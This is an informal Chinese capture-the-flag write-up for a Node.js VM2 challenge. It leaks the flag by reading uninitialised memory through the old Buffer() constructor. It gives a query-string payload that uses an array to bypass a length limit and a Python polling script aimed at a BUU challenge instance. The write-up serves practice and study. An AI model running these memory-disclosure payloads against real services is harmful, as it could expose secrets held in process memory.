node.js 代码审计 ⑧太懂node.js 他是用VM2来执行的 可知buffer
emmm,搜着搜着wp搜出来了 相关wp
低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中,那么我们可以构造paylaod读取内存
相关资料 这我也看不懂。。。。。emmmm 记得用数组来绕这个长度限制
payload(这个payload在buu无效)
?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;他这个payload大致就是一直执行然后当回显出flag的时候退出并返回 是在buu做的,记得改下flag
exp
import requests import time url = 'http://19a931b5-2f8a-42c4-b400-20ba417d6a4f.node3.buuoj.cn/?data=Buffer(500)' while True: r = requests.get(url) time.sleep(0.1) print('trying') if 'flag{' in r.text: print(r.text) break